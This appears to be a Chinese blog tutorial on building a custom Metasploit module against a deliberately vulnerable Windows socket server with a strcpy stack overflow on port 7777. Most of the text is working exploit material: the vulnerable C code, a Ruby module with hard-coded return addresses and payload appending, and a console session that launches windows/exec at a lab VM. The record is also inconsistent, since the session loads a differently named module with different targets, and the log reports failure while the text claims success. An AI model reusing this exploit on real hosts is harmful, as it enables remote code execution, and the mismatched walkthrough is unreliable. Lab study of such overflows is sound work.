简单测试使用msf发布poc
看个存在漏洞的代码
#include <IOSTREAM.H>
#include <WINSOCK2.H>
#pragma comment(lib,"ws2_32.lib")
VOID msg_display(char *buf)
{
char msg[200];
strcpy(msg,buf);
cout<<"****************"<<endl;
cout<<msg<<endl;
}
void main()
{
SOCKET sock,msgsock,length,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x200];
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
if ((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout<<sock<<"Socket Creating Error!"<<endl;
exit(1);
}
sock_server.sin_family=AF_INET;
sock_server.sin_port=htons(7777);
sock_server.sin_addr.S_un.S_addr=INADDR_ANY;
if (bind(sock,(sockaddr *)&sock_server,sizeof(sock_server)))
{
cout<<"binging stream socket error!"<<endl;
}
cout<<"**********************************"<<endl;
cout<<" exploit target server 1.0 "<<endl;
cout<<"**********************************"<<endl;
listen(sock,4);
length=sizeof(struct sockaddr);
do
{
msgsock=accept(sock,(struct sockaddr *)&sock_client,(int *)&length);
if (msgsock==1)
{
cout<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,0,sizeof(buf));
if ((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout<<"reading stream message error!"<<endl;
receive_len=0;
}
msg_display(buf);
}while(receive_len);
closesocket(msgsock);
} while (1);
WSACleanup();
}msg_display中存在栈溢出，服务器测试环境windows2000 server虚拟机，让其运行监听7777端口。
看一个ruby脚本
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Evil0r_POC',
'Version' => '1.0',
'Platform' => 'win',
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => 'Evil0r',
'Targets' => [
['Windows 2000', {'Ret' => [200 , 0x77F8948B] }],
['Windows XP SP2',{'Ret' => [200 , 0x7C914393] }],
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Description' => %q{
this module is exploit practice of book
"Vulnerability Exploit and Analysis Technique"
used only for educational purpose
},
'Arch' => 'x86',
'References' => [
[ 'URL', 'http://blog.csdn.net/evi10r' ],
[ 'CVE', '44444' ],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end #end of initialize
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
buf = 'a'*target['Ret'][0]
buf << [target['Ret'][1]].pack('V')
buf <<payload.encoded;
sock.put(buf)
handler
disconnect
end #end of exploit def
end将Evil0r_Poc.rb放到exploits目录下（新建一个文件夹），然后打开exploits console，show exploits就可以看到我们自己添加的模块了。
可以info看下信息
msf > info Evil0r/Evil0r_Poc
Name: Evil0r_POC
Version: 1.0
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Evil0r
Available targets:
Id Name
-- ----
0 Windows 2000
1 Windows XP SP2
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT yes The target port
Payload information:
Space: 200
Avoid: 1 characters
Description:
this module is exploit practice of book "Vulnerability Exploit and
Analysis Technique" used only for educational purpose
References:
http://blog.csdn.net/evi10r
http://cve.mitre.org/cgi-bin/cvename.cgi?name=44444
现在我们拿它来对windows2000server虚拟机进行攻击测试。
msf > use failwest/est
[-] Failed to load module: failwest/est
msf > use failwest/test
msf exploit(test) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000
1 Windows XP SP3
msf exploit(test) > set target 0
target => 0
msf exploit(test) > show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7)
windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7)
windows/exec normal Windows Execute Command
windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP
windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline
windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7)
windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/patchupvncinject/reverse_nonx_tcp normal Windows VNC Inject (skape/jt injection), Reverse TCP Stager (No NX or Win7)
windows/patchupvncinject/reverse_ord_tcp normal Windows VNC Inject (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7)
windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
msf exploit(test) > set payload windows/exec
payload => windows/exec
msf exploit(test) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT yes The target port
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
EXITFUNC process yes Exit technique: seh, thread, process
Exploit target:
Id Name
-- ----
0 Windows 2000
msf exploit(test) > set rhost 192.168.79.132
rhost => 192.168.79.132
msf exploit(test) > set rport 7777
rport => 7777
msf exploit(test) > set cmd calc
cmd => calc
msf exploit(test) > set exitfunc seh
exitfunc => seh
msf exploit(test) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.
然后看到我们的2000虚拟机弹出计算器窗口了，shellcode成功执行
